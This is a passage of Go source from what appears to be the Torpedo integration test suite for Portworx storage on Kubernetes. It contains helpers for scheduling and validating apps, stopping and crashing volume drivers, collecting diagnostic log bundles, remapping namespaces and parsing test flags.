testname, Inst().InstanceID)\n\t\tcontexts, err = Inst().S.Schedule(taskName, scheduler.ScheduleOptions{\n\t\t\tAppKeys: Inst().AppList,\n\t\t\tStorageProvisioner: Inst().Provisioner,\n\t\t})\n\t\texpect(err).NotTo(haveOccurred())\n\t\texpect(contexts).NotTo(beEmpty())\n\t})\n\n\treturn contexts\n}\n\n// ValidateApplications validates applications\nfunc ValidateApplications(contexts []*scheduler.Context) {\n\tStep(\"validate applications\", func() {\n\t\tfor _, ctx := range contexts {\n\t\t\tValidateContext(ctx)\n\t\t}\n\t})\n}\n\n// StartVolDriverAndWait starts volume driver on given app nodes\nfunc StartVolDriverAndWait(appNodes []node.Node) {\n\tcontext(fmt.Sprintf(\"starting volume driver %s\", Inst().V.String()), func() {\n\t\tStep(fmt.Sprintf(\"start volume driver on nodes: %v\", appNodes), func() {\n\t\t\tfor _, n := range appNodes {\n\t\t\t\terr := Inst().V.StartDriver(n)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t}\n\t\t})\n\n\t\tStep(fmt.Sprintf(\"wait for volume driver to start on nodes: %v\", appNodes), func() {\n\t\t\tfor _, n := range appNodes {\n\t\t\t\terr := Inst().V.WaitDriverUpOnNode(n, Inst().DriverStartTimeout)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t}\n\t\t})\n\n\t})\n}\n\n// StopVolDriverAndWait stops volume driver on given app nodes and waits till driver is down\nfunc StopVolDriverAndWait(appNodes []node.Node) {\n\tcontext(fmt.Sprintf(\"stopping volume driver %s\", Inst().V.String()), func() {\n\t\tStep(fmt.Sprintf(\"stop volume driver on nodes: %v\", appNodes), func() {\n\t\t\terr := Inst().V.StopDriver(appNodes, false, nil)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t})\n\n\t\tStep(fmt.Sprintf(\"wait for volume driver to stop on nodes: %v\", appNodes), func() {\n\t\t\tfor _, n := range appNodes {\n\t\t\t\terr := Inst().V.WaitDriverDownOnNode(n)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t}\n\t\t})\n\n\t})\n}\n\n// CrashVolDriverAndWait crashes volume driver on given app nodes and waits till driver is back up\nfunc CrashVolDriverAndWait(appNodes []node.Node) {\n\tcontext(fmt.Sprintf(\"crashing volume driver %s\", Inst().V.String()), func() {\n\t\tStep(fmt.Sprintf(\"crash volume driver on nodes: %v\", appNodes), func() {\n\t\t\terr := Inst().V.StopDriver(appNodes, true, nil)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t})\n\n\t\tStep(fmt.Sprintf(\"wait for volume driver to start on nodes: %v\", appNodes), func() {\n\t\t\tfor _, n := range appNodes {\n\t\t\t\terr := Inst().V.WaitDriverUpOnNode(n, Inst().DriverStartTimeout)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t}\n\t\t})\n\n\t})\n}\n\n// ValidateAndDestroy validates application and then destroys them\nfunc ValidateAndDestroy(contexts []*scheduler.Context, opts map[string]bool) {\n\tStep(\"validate apps\", func() {\n\t\tfor _, ctx := range contexts {\n\t\t\tValidateContext(ctx)\n\t\t}\n\t})\n\n\tStep(\"destroy apps\", func() {\n\t\tfor _, ctx := range contexts {\n\t\t\tTearDownContext(ctx, opts)\n\t\t}\n\t})\n}\n\n// AddLabelsOnNode adds labels on the node\nfunc AddLabelsOnNode(n node.Node, labels map[string]string) error {\n\tfor labelKey, labelValue := range labels {\n\t\tif err := Inst().S.AddLabelOnNode(n, labelKey, labelValue); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// ValidateStoragePools is the ginkgo spec for validating storage pools\nfunc ValidateStoragePools(contexts []*scheduler.Context) {\n\n\tstrExpansionEnabled, err := Inst().V.IsStorageExpansionEnabled()\n\texpect(err).NotTo(haveOccurred())\n\n\tif strExpansionEnabled {\n\t\tvar wSize uint64\n\t\tvar workloadSizesByPool = make(map[string]uint64)\n\t\tlogrus.Debugf(\"storage expansion enabled on at least one storage pool\")\n\t\t// for each replica set add the workloadSize of app workload to each storage pool where replica resides on\n\t\tfor _, ctx := range contexts {\n\t\t\tStep(fmt.Sprintf(\"get replica sets for app: %s's volumes\", ctx.App.Key), func() {\n\t\t\t\tappVolumes, err := Inst().S.GetVolumes(ctx)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t\texpect(appVolumes).NotTo(beEmpty())\n\t\t\t\tfor _, vol := range appVolumes {\n\t\t\t\t\tif Inst().S.IsAutopilotEnabledForVolume(vol) {\n\t\t\t\t\t\treplicaSets, err := Inst().V.GetReplicaSets(vol)\n\t\t\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t\t\t\texpect(replicaSets).NotTo(beEmpty())\n\t\t\t\t\t\tfor _, poolUUID := range replicaSets[0].PoolUuids {\n\t\t\t\t\t\t\twSize, err = Inst().S.GetWorkloadSizeFromAppSpec(ctx)\n\t\t\t\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t\t\t\t\tworkloadSizesByPool[poolUUID] += wSize\n\t\t\t\t\t\t\tlogrus.Debugf(\"pool: %s workloadSize increased by: %d total now: %d\", poolUUID, wSize, workloadSizesByPool[poolUUID])\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\n\t\t// update each storage pool with the app workload sizes\n\t\tnodes := node.GetWorkerNodes()\n\t\texpect(nodes).NotTo(beEmpty())\n\t\tfor _, n := range nodes {\n\t\t\tfor id, sPool := range n.StoragePools {\n\t\t\t\tif workloadSizeForPool, ok := workloadSizesByPool[sPool.Uuid]; ok {\n\t\t\t\t\tn.StoragePools[id].WorkloadSize = workloadSizeForPool\n\t\t\t\t}\n\n\t\t\t\tlogrus.Debugf(\"pool: %s InitialSize: %d WorkloadSize: %d\", sPool.Uuid, sPool.StoragePoolAtInit.TotalSize, n.StoragePools[id].WorkloadSize)\n\t\t\t}\n\t\t\terr = node.UpdateNode(n)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t}\n\t}\n\n\terr = Inst().V.ValidateStoragePools()\n\texpect(err).NotTo(haveOccurred())\n\n}\n\n// DescribeNamespace takes in the scheduler contexts and describes each object within the test context.\nfunc DescribeNamespace(contexts []*scheduler.Context) {\n\tcontext(fmt.Sprintf(\"generating namespace info...\"), func() {\n\t\tStep(fmt.Sprintf(\"Describe Namespace objects for test %s \\n\", ginkgo.CurrentGinkgoTestDescription().TestText), func() {\n\t\t\tfor _, ctx := range contexts {\n\t\t\t\tfilename := fmt.Sprintf(\"%s/%s-%s.namespace.log\", defaultBundleLocation, ctx.App.Key, ctx.UID)\n\t\t\t\tnamespaceDescription, err := Inst().S.Describe(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogrus.Errorf(\"failed to describe namespace for [%s] %s. Cause: %v\", ctx.UID, ctx.App.Key, err)\n\t\t\t\t}\n\t\t\t\tif err = ioutil.WriteFile(filename, []byte(namespaceDescription), 0755); err != nil {\n\t\t\t\t\tlogrus.Errorf(\"failed to save file %s. Cause: %v\", filename, err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t})\n}\n\n// ValidateClusterSize validates number of storage nodes in given cluster\n// using total cluster size `count` and max_storage_nodes_per_zone\nfunc ValidateClusterSize(count int64) {\n\tzones, err := Inst().N.GetZones()\n\tlogrus.Debugf(\"ASG is running in [%+v] zones\\n\", zones)\n\tperZoneCount := count / int64(len(zones))\n\n\t// Validate total node count\n\tcurrentNodeCount, err := Inst().N.GetASGClusterSize()\n\texpect(err).NotTo(haveOccurred())\n\texpect(perZoneCount*int64(len(zones))).Should(equal(currentNodeCount),\n\t\t\"ASG cluster size is not as expected.\"+\n\t\t\t\" Current size is [%d]. Expected ASG size is [%d]\",\n\t\tcurrentNodeCount, perZoneCount*int64(len(zones)))\n\n\t// Validate storage node count\n\tvar expectedStorageNodesPerZone int\n\tif Inst().MaxStorageNodesPerAZ <= int(perZoneCount) {\n\t\texpectedStorageNodesPerZone = Inst().MaxStorageNodesPerAZ\n\t} else {\n\t\texpectedStorageNodesPerZone = int(perZoneCount)\n\t}\n\tstorageNodes, err := getStorageNodes()\n\n\texpect(err).NotTo(haveOccurred())\n\texpect(len(storageNodes)).Should(equal(expectedStorageNodesPerZone*len(zones)),\n\t\t\"Current number of storeage nodes [%d] does not match expected number of storage nodes [%d].\"+\n\t\t\t\"List of storage nodes:[%v]\",\n\t\tlen(storageNodes), expectedStorageNodesPerZone*len(zones), storageNodes)\n\n\tlogrus.Infof(\"Validated successfully that [%d] storage nodes are present\", len(storageNodes))\n}\n\nfunc getStorageNodes() ([]node.Node, error) {\n\n\tstorageNodes := []node.Node{}\n\tnodes := node.GetStorageDriverNodes()\n\n\tfor _, node := range nodes {\n\t\tdevices, err := Inst().V.GetStorageDevices(node)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif len(devices) > 0 {\n\t\t\tstorageNodes = append(storageNodes, node)\n\t\t}\n\t}\n\treturn storageNodes, nil\n}\n\n// CollectSupport creates a support bundle\nfunc CollectSupport() {\n\tcontext(fmt.Sprintf(\"generating support bundle...\"), func() {\n\t\tnodes := node.GetWorkerNodes()\n\t\texpect(nodes).NotTo(beEmpty())\n\n\t\tfor _, n := range nodes {\n\t\t\tif !n.IsStorageDriverInstalled {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tStep(fmt.Sprintf(\"save all useful logs on node %s\", n.SchedulerNodeName), func() {\n\n\t\t\t\tInst().V.CollectDiags(n)\n\n\t\t\t\tjournalCmd := fmt.Sprintf(\"journalctl -l > %s/all_journal_%v.log\", Inst().BundleLocation, time.Now().Format(time.RFC3339))\n\t\t\t\trunCmd(journalCmd, n)\n\n\t\t\t\trunCmd(fmt.Sprintf(\"journalctl -lu portworx* > %s/portworx.log\", Inst().BundleLocation), n)\n\n\t\t\t\tInst().S.SaveSchedulerLogsToFile(n, Inst().BundleLocation)\n\n\t\t\t\trunCmd(fmt.Sprintf(\"dmesg -T > %s/dmesg.log\", Inst().BundleLocation), n)\n\n\t\t\t\trunCmd(fmt.Sprintf(\"lsblk > %s/lsblk.log\", Inst().BundleLocation), n)\n\n\t\t\t\trunCmd(fmt.Sprintf(\"cat /proc/mounts > %s/mounts.log\", Inst().BundleLocation), n)\n\n\t\t\t\t// this is a small tweak especially for providers like openshift, aws where oci-mon saves this file\n\t\t\t\t// with root read permissions only but collect support bundle is a non-root user\n\t\t\t\trunCmd(fmt.Sprintf(\"chmod 755 %s/oci.log\", Inst().BundleLocation), n)\n\t\t\t})\n\t\t}\n\t})\n}\n\nfunc runCmd(cmd string, n node.Node) {\n\t_, err := Inst().N.RunCommand(n, cmd, node.ConnectionOpts{\n\t\tTimeout: defaultCmdTimeout,\n\t\tTimeBeforeRetry: defaultCmdRetryInterval,\n\t\tSudo: true,\n\t})\n\tif err != nil {\n\t\tlogrus.Warnf(\"failed to run cmd: %s. err: %v\", cmd, err)\n\t}\n}\n\n// PerformSystemCheck check if core files are present on each node\nfunc PerformSystemCheck() {\n\tcontext(fmt.Sprintf(\"checking for core files...\"), func() {\n\t\tStep(fmt.Sprintf(\"verifying if core files are present on each node\"), func() {\n\t\t\tnodes := node.GetWorkerNodes()\n\t\t\texpect(nodes).NotTo(beEmpty())\n\t\t\tfor _, n := range nodes {\n\t\t\t\tif !n.IsStorageDriverInstalled {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tlogrus.Infof(\"looking for core files on node %s\", n.Name)\n\t\t\t\tfile, err := Inst().N.SystemCheck(n, node.ConnectionOpts{\n\t\t\t\t\tTimeout: 2 * time.Minute,\n\t\t\t\t\tTimeBeforeRetry: 10 * time.Second,\n\t\t\t\t})\n\t\t\t\tif len(file) != 0 || err != nil {\n\t\t\t\t\tlogrus.Info(\"an error occurred, collecting bundle\")\n\t\t\t\t\tCollectSupport()\n\t\t\t\t}\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t\texpect(file).To(beEmpty())\n\t\t\t}\n\t\t})\n\t})\n}\n\n// ChangeNamespaces updates the namespace in supplied in-memory contexts.\n// It does not apply changes on scheduler\nfunc ChangeNamespaces(contexts []*scheduler.Context,\n\tnamespaceMapping map[string]string) error {\n\n\tfor _, ctx := range contexts {\n\t\tfor _, spec := range ctx.App.SpecList {\n\t\t\terr := updateNamespace(spec, namespaceMapping)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc updateNamespace(in interface{}, namespaceMapping map[string]string) error {\n\tif specObj, ok := in.(*appsapi.Deployment); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*appsapi.StatefulSet); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*appsapi.DaemonSet); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*v1.Service); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*v1.PersistentVolumeClaim); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storageapi.StorageClass); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*snapv1.VolumeSnapshot); ok {\n\t\tnamespace := namespaceMapping[specObj.Metadata.GetNamespace()]\n\t\tspecObj.Metadata.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.GroupVolumeSnapshot); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*v1.Secret); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*v1.ConfigMap); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.Rule); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*v1.Pod); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.ClusterPair); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.Migration); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.MigrationSchedule); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.BackupLocation); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.ApplicationBackup); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.SchedulePolicy); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.ApplicationRestore); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.ApplicationClone); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*storkapi.VolumeSnapshotRestore); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*apapi.AutopilotRule); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*v1.ServiceAccount); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*rbacv1.Role); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t} else if specObj, ok := in.(*rbacv1.RoleBinding); ok {\n\t\tnamespace := namespaceMapping[specObj.GetNamespace()]\n\t\tspecObj.SetNamespace(namespace)\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"unsupported object while setting namespace: %v\", reflect.TypeOf(in))\n}\n\n// AfterEachTest runs collect support bundle after each test when it fails\nfunc AfterEachTest(contexts []*scheduler.Context) {\n\tlogrus.Debugf(\"contexts: %v\", contexts)\n\tif ginkgo.CurrentGinkgoTestDescription().Failed {\n\t\tCollectSupport()\n\t\tDescribeNamespace(contexts)\n\t}\n}\n\n// Inst returns the Torpedo instances\nfunc Inst() *Torpedo {\n\treturn instance\n}\n\nvar instance *Torpedo\nvar once sync.Once\n\n// Torpedo is the torpedo testsuite\ntype Torpedo struct {\n\tInstanceID string\n\tS scheduler.Driver\n\tV volume.Driver\n\tN node.Driver\n\tSpecDir string\n\tAppList []string\n\tLogLoc string\n\tLogLevel string\n\tScaleFactor int\n\tStorageDriverUpgradeEndpointURL string\n\tStorageDriverUpgradeEndpointVersion string\n\tEnableStorkUpgrade bool\n\tMinRunTimeMins int\n\tChaosLevel int\n\tProvisioner string\n\tMaxStorageNodesPerAZ int\n\tDestroyAppTimeout time.Duration\n\tDriverStartTimeout time.Duration\n\tAutoStorageNodeRecoveryTimeout time.Duration\n\tConfigMap string\n\tBundleLocation string\n\tCustomAppConfig map[string]scheduler.AppConfig\n\tBackup backup.Driver\n\tSecretType string\n\tVaultAddress string\n\tVaultToken string\n\tSchedUpgradeHops string\n\tAutopilotUpgradeImage string\n\tCsiGenericDriverConfigMap string\n}\n\n// ParseFlags parses command line flags\nfunc ParseFlags() {\n\tvar err error\n\tvar s, n, v, backupDriverName, specDir, logLoc, logLevel, appListCSV, provisionerName, configMapName string\n\tvar schedulerDriver scheduler.Driver\n\tvar volumeDriver volume.Driver\n\tvar nodeDriver node.Driver\n\tvar backupDriver backup.Driver\n\tvar appScaleFactor int\n\tvar volUpgradeEndpointURL string\n\tvar volUpgradeEndpointVersion string\n\tvar minRunTimeMins int\n\tvar chaosLevel int\n\tvar storageNodesPerAZ int\n\tvar destroyAppTimeout time.Duration\n\tvar driverStartTimeout time.Duration\n\tvar autoStorageNodeRecoveryTimeout time.Duration\n\tvar bundleLocation string\n\tvar customConfigPath string\n\tvar customAppConfig map[string]scheduler.AppConfig\n\tvar enableStorkUpgrade bool\n\tvar secretType string\n\tvar vaultAddress string\n\tvar vaultToken string\n\tvar schedUpgradeHops string\n\tvar autopilotUpgradeImage string\n\tvar csiGenericDriverConfigMapName string\n\n\tflag.StringVar(&s, schedulerCliFlag, defaultScheduler, \"Name of the scheduler to use\")\n\tflag.StringVar(&n, nodeDriverCliFlag, defaultNodeDriver, \"Name of the node driver to use\")\n\tflag.StringVar(&v, storageDriverCliFlag, defaultStorageDriver, \"Name of the storage driver to use\")\n\tflag.StringVar(&backupDriverName, backupCliFlag, \"\", \"Name of the backup driver to use\")\n\tflag.StringVar(&specDir, specDirCliFlag, defaultSpecsRoot, \"Root directory containing the application spec files\")\n\tflag.StringVar(&logLoc, logLocationCliFlag, defaultLogLocation,\n\t\t\"Path to save logs/artifacts upon failure. Default: /mnt/torpedo_support_dir\")\n\tflag.StringVar(&logLevel, logLevelCliFlag, defaultLogLevel, \"Log level\")\n\tflag.IntVar(&appScaleFactor, scaleFactorCliFlag, defaultAppScaleFactor, \"Factor by which to scale applications\")\n\tflag.IntVar(&minRunTimeMins, minRunTimeMinsFlag, defaultMinRunTimeMins, \"Minimum Run Time in minutes for appliation deletion tests\")\n\tflag.IntVar(&chaosLevel, chaosLevelFlag, defaultChaosLevel, \"Application deletion frequency in minutes\")\n\tflag.StringVar(&volUpgradeEndpointURL, storageUpgradeEndpointURLCliFlag, defaultStorageUpgradeEndpointURL,\n\t\t\"Endpoint URL link which will be used for upgrade storage driver\")\n\tflag.StringVar(&volUpgradeEndpointVersion, storageUpgradeEndpointVersionCliFlag, defaultStorageUpgradeEndpointVersion,\n\t\t\"Endpoint version which will be used for checking version after upgrade storage driver\")\n\tflag.BoolVar(&enableStorkUpgrade, enableStorkUpgradeFlag, false, \"Enable stork upgrade during storage driver upgrade\")\n\tflag.StringVar(&appListCSV, appListCliFlag, \"\", \"Comma-separated list of apps to run as part of test. The names should match directories in the spec dir.\")\n\tflag.StringVar(&provisionerName, provisionerFlag, defaultStorageProvisioner, \"Name of the storage provisioner Portworx or CSI.\")\n\tflag.IntVar(&storageNodesPerAZ, storageNodesPerAZFlag, defaultStorageNodesPerAZ, \"Maximum number of storage nodes per availability zone\")\n\tflag.DurationVar(&destroyAppTimeout, \"destroy-app-timeout\", defaultTimeout, \"Maximum \")\n\tflag.DurationVar(&driverStartTimeout, \"driver-start-timeout\", defaultTimeout, \"Maximum wait volume driver startup\")\n\tflag.DurationVar(&autoStorageNodeRecoveryTimeout, \"storagenode-recovery-timeout\", defaultAutoStorageNodeRecoveryTimeout, \"Maximum wait time in minutes for storageless nodes to transition to storagenodes in case of ASG\")\n\tflag.StringVar(&configMapName, configMapFlag, \"\", \"Name of the config map to be used.\")\n\tflag.StringVar(&bundleLocation, \"bundle-location\", defaultBundleLocation, \"Path to support bundle output files\")\n\tflag.StringVar(&customConfigPath, \"custom-config\", \"\", \"Path to custom configuration files\")\n\tflag.StringVar(&secretType, \"secret-type\", scheduler.SecretK8S, \"Path to custom configuration files\")\n\tflag.StringVar(&vaultAddress, \"vault-addr\", \"\", \"Path to custom configuration files\")\n\tflag.StringVar(&vaultToken, \"vault-token\", \"\", \"Path to custom configuration files\")\n\tflag.StringVar(&schedUpgradeHops, \"sched-upgrade-hops\", \"\", \"Comma separated list of versions scheduler upgrade to take hops\")\n\tflag.StringVar(&autopilotUpgradeImage, autopilotUpgradeImageCliFlag, \"\", \"Autopilot version which will be used for checking version after upgrade autopilot\")\n\tflag.StringVar(&csiGenericDriverConfigMapName, csiGenericDriverConfigMapFlag, \"\", \"Name of config map that stores provisioner details when CSI generic driver is being used\")\n\tflag.Parse()\n\n\tappList, err := splitCsv(appListCSV)\n\tif err != nil {\n\t\tlogrus.Fatalf(\"failed to parse app list: %v. err: %v\", appListCSV, err)\n\t}\n\n\tsched.Init(time.Second)\n\n\tif schedulerDriver, err = scheduler.Get(s); err != nil {\n\t\tlogrus.Fatalf(\"Cannot find scheduler driver for %v. Err: %v\\n\", s, err)\n\t} else if volumeDriver, err = volume.Get(v); err != nil {\n\t\tlogrus.Fatalf(\"Cannot find volume driver for %v. Err: %v\\n\", v, err)\n\t} else if nodeDriver, err = node.Get(n); err != nil {\n\t\tlogrus.Fatalf(\"Cannot find node driver for %v. Err: %v\\n\", n, err)\n\t} else if err = os.MkdirAll(logLoc, os.ModeDir); err != nil {\n\t\tlogrus.Fatalf(\"Cannot create path %s for saving support bundle. Error: %v\", logLoc, err)\n\t} else {\n\t\tif _, err = os.Stat(customConfigPath); err == nil {\n\t\t\tvar data []byte\n\n\t\t\tlogrus.Infof(\"Using custom app config file %s\", customConfigPath)\n\t\t\tdata, err = ioutil.ReadFile(customConfigPath)\n\t\t\tif err != nil {\n\t\t\t\tlogrus.Fatalf(\"Cannot read file %s. Error: %v\", customConfigPath, err)\n\t\t\t}\n\t\t\terr = yaml.Unmarshal(data, &customAppConfig)\n\t\t\tif err != nil {\n\t\t\t\tlogrus.Fatalf(\"Cannot unmarshal yml %s. Error: %v\", customConfigPath, err)\n\t\t\t}\n\t\t\tlogrus.Infof(\"Parsed custom app config file: %+v\", customAppConfig)\n\t\t}\n\t\tlogrus.Infof(\"Backup driver name %s\", backupDriverName)\n\t\tif backupDriverName != \"\" {\n\t\t\tif backupDriver, err = backup.Get(backupDriverName); err != nil {\n\t\t\t\tlogrus.Fatalf(\"cannot find backup driver for %s. Err: %v\\n\", backupDriverName, err)\n\t\t\t} else {\n\t\t\t\tlogrus.Infof(\"Backup driver found %v\", backupDriver)\n\t\t\t}\n\t\t}\n\n\t\tonce.Do(func() {\n\t\t\tinstance = &Torpedo{\n\t\t\t\tInstanceID: time.Now().Format(\"01-02-15h04m05s\"),\n\t\t\t\tS: schedulerDriver,\n\t\t\t\tV: volumeDriver,\n\t\t\t\tN: nodeDriver,\n\t\t\t\tSpecDir: specDir,\n\t\t\t\tLogLoc: logLoc,\n\t\t\t\tLogLevel: logLevel,\n\t\t\t\tScaleFactor: appScaleFactor,\n\t\t\t\tMinRunTimeMins: minRunTimeMins,\n\t\t\t\tChaosLevel: chaosLevel,\n\t\t\t\tStorageDriverUpgradeEndpointURL: volUpgradeEndpointURL,\n\t\t\t\tStorageDriverUpgradeEndpointVersion: volUpgradeEndpointVersion,\n\t\t\t\tEnableStorkUpgrade: enableStorkUpgrade,\n\t\t\t\tAppList: appList,\n\t\t\t\tProvisioner: provisionerName,\n\t\t\t\tMaxStorageNodesPerAZ: storageNodesPerAZ,\n\t\t\t\tDestroyAppTimeout: destroyAppTimeout,\n\t\t\t\tDriverStartTimeout: driverStartTimeout,\n\t\t\t\tAutoStorageNodeRecoveryTimeout: autoStorageNodeRecoveryTimeout,\n\t\t\t\tConfigMap: configMapName,\n\t\t\t\tBundleLocation: bundleLocation,\n\t\t\t\tCustomAppConfig: customAppConfig,\n\t\t\t\tBackup: backupDriver,\n\t\t\t\tSecretType: secretType,\n\t\t\t\tVaultAddress: vaultAddress,\n\t\t\t\tVaultToken: vaultToken,\n\t\t\t\tSchedUpgradeHops: schedUpgradeHops,\n\t\t\t\tAutopilotUpgradeImage: autopilotUpgradeImage,\n\t\t\t\tCsiGenericDriverConfigMap: csiGenericDriverConfigMapName,\n\t\t\t}\n\t\t})\n\t}\n\n\t// Set log level\n\tlogLvl, err := logrus.ParseLevel(instance.LogLevel)\n\tif err != nil {\n\t\tlogrus.Fatalf(\"Failed to set log level due to Err: %v\", err)\n\t}\n\tlogrus.SetLevel(logLvl)\n\n}\n\nfunc splitCsv(in string) ([]string, error) {\n\tr := csv.NewReader(strings.NewReader(in))\n\tr.TrimLeadingSpace = true\n\trecords, err := r.ReadAll()\n\tif err != nil || len(records) < 1 {\n\t\treturn []string{}, err\n\t} else if len(records) > 1 {\n\t\treturn []string{}, fmt.Errorf(\"Multiline CSV not supported\")\n\t}\n\treturn records[0], err\n}\n\nfunc mapToVolumeOptions(options map[string]bool) *scheduler.VolumeOptions {\n\tif val, ok := options[SkipClusterScopedObjects]; ok {\n\t\treturn &scheduler.VolumeOptions{\n\t\t\tSkipClusterScopedObjects: val,\n\t\t}\n\t}\n\n\treturn &scheduler.VolumeOptions{\n\t\tSkipClusterScopedObjects: false,\n\t}\n}\n\nfunc init() {\n\tlogrus.SetLevel(logrus.InfoLevel)\n\tlogrus.StandardLogger().Hooks.Add(log.NewHook())\n\tlogrus.SetOutput(os.Stdout)\n}\n\n// getProvider validates and return object store provider\nfunc getProvider() string {\n\tprovider, ok := os.LookupEnv(\"OBJECT_STORE_PROVIDER\")\n\texpect(ok).To(beTrue(), fmt.Sprintf(\"No environment variable 'PROVIDER' supplied. Valid values are: %s, %s, %s\",\n\t\tdrivers.ProviderAws, drivers.ProviderAzure, drivers.ProviderGke))\n\tswitch provider {\n\tcase drivers.ProviderAws, drivers.ProviderAzure, drivers.ProviderGke:\n\tdefault:\n\t\tfail(fmt.Sprintf(\"Valid values for 'PROVIDER' environment variables are: %s, %s, %s\",\n\t\t\tdrivers.ProviderAws, drivers.ProviderAzure, drivers.ProviderGke))\n\t}\n\treturn provider\n}\n\n// SetupBackup sets up backup location and source and destination clusters\nfunc SetupBackup(testName string) {\n\tlogrus.Infof(\"Backup driver: %v\", Inst().Backup)\n\tprovider := getProvider()\n\tlogrus.Infof(\"Run Setup backup with object store provider: %s\", provider)\n\tOrgID = \"default\"\n\tBucketName = fmt.Sprintf(\"%s-%s\", bucketNamePrefix, Inst().InstanceID)\n\tCloudCredUID = uuid.New()\n\t//cloudCredUID = \"\"\n\tBackupLocationUID = uuid.New()\n\t//backupLocationUID = \"64d908e7-40cf-4c9e-a5cf-672e955fd0ca\"\n\n\tCreateBucket(provider, BucketName)\n\tCreateOrganization(OrgID)\n\tCreateCloudCredential(provider, credName, CloudCredUID, OrgID)\n\tCreateBackupLocation(provider, backupLocationName, BackupLocationUID, credName, CloudCredUID, BucketName, OrgID)\n\tCreateSourceAndDestClusters(credName, OrgID)\n}\n\n// CreateBucket (provider string, bucketName string, incorrectCreds bool)\nfunc CreateBucket(provider string, bucketName string) {\n\tStep(fmt.Sprintf(\"Create bucket [%s]\", bucketName), func() {\n\t\tswitch provider {\n\t\tcase 